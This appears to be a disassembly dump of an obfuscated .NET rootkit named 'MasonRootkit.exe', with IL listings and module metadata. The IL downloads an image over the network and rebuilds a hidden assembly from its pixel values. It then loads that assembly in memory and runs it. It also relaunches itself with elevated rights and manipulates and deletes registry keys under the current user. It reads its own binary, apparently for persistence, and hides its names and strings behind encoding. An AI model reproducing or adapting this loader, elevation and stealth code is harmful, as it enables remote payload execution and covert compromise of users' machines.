ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.IO.Stream System.Net.WebClient::OpenRead(System.String)
newobj System.Void System.Drawing.Bitmap::.ctor(System.IO.Stream)
stloc.s V_6
ldloc.s V_6
callvirt System.Int32 System.Drawing.Image::get_Width()
newarr System.Byte
stloc.s V_7
ldc.i4.0 <null>
stloc.s V_8
br.s IL_02F1: ldloc.s V_8
ldloc.s V_7
ldloc.s V_8
ldloc.s V_6
ldloc.s V_8
ldc.i4.0 <null>
callvirt System.Drawing.Color System.Drawing.Bitmap::GetPixel(System.Int32,System.Int32)
stloc.s V_9
ldloca.s V_9
call System.Byte System.Drawing.Color::get_R()
stelem.i1 <null>
ldloc.s V_8
ldc.i4.1 <null>
add <null>
stloc.s V_8
ldloc.s V_8
ldloc.s V_6
callvirt System.Int32 System.Drawing.Image::get_Width()
blt.s IL_02D3: ldloc.s V_7
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldloc.s V_7
callvirt System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_0323: leave.s IL_0331
ldloc.s V_6
brfalse.s IL_0322: endfinally
ldloc.s V_6
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0331: leave.s IL_0367
ldloc.s V_5
brfalse.s IL_0330: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0367: ret
stloc.s V_10
ldstr 
煳
煄
煄
煙
煄
焖
煚
煙
煗
煒
煟
煘
煑
焖
煗
煘
煒
焖
煆
煄
煙
煕
煓
煅
煅
煟
煘
煑
焖
煂
煞
煓
焖
煔
煟
煂
煛
煗
煆
焌
焖
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1018065206
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0367: ret
ret <null>
Module Name
MasonRootkit.exe
Full Name
MasonRootkit.exe
EntryPoint 
System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Scope Name
MasonRootkit.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
MasonRootkit
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
188
Main Method 
System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Main IL Instruction Count
248
Main IL 
ldsfld System.IntPtr System.IntPtr::Zero
stloc.0 <null>
call System.Boolean System.Environment::get_Is64BitOperatingSystem()
brfalse.s IL_0015: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldloca.s V_0
call System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.IntPtr&)
pop <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0021: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brtrue IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
蝽
蝡
蝨
蝺
蝹
蝯
蝼
蝫
蝲
蝊
蝇
蝊
蝇
蝜
蝛
蝀
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
call System.Int32 <Module>::⇎ↂႋ⇝↞⇁⇀↩⇕⇂ↇ∷ↇ൲↹↽↋∶⇎ↆ⇙∷ ↽⇞⇎⇕ↇ↢ↇ↋ↀ↣↋↹⇎↩⇟⇎↌⇟↺Ↄ↹↭⇎ↇ⇎⇟⇜⇟⇚⇚ↂ↹⇞⇂⇟ↁ↋⇇↠⇎⇜∷ႋ⇙⇟↭↞↞↣∷⇀⇟↌↖↭↖⇎⇞⇎⇎ↆ↺↌∷⇕⇚↖↺↣⇞⇙()
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String)
stloc.1 <null>
ldloc.1 <null>
brtrue.s IL_0084: ldloc.1
ldstr 
쁵
쁴
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1716895771
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
stloc.2 <null>
br.s IL_00AF: ldloc.2
ldloc.1 <null>
ldstr 
톝
톐
톝
톐
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1030083065
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String)
castclass System.String
stloc.2 <null>
ldloc.2 <null>
ldstr 
ꭖ
ꭊ
ꭜ
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 152021807
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_00E6: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String)
ret <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_014A: nop
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.3 <null>
ldloc.3 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.3 <null>
ldstr 
괝
괚
괁
괎
괜
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 308915567
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
nop <null>
ldloc.3 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
ceq <null>
stloc.s V_4
ldloc.s V_4
brfalse.s IL_0129: nop
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
ჺ
ღ
ჯ
ჽ
ჾ
შ
჻
წ
ჵ
Ⴭ
Ⴠ
Ⴭ
Ⴠ
მ
ნ
Ⴧ
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 866259113
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String)
leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_018E: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
br.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_01A0: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse IL_028B: nop
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String)
ret <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_Id()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Int32)
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String)
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
才
扑
托
扊
扉
扟
扌
扛
扂
扺
扷
扺
扷
扬
扫
扰
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1051615774
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String)
leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_024F: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
br.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0261: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_028B: nop
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
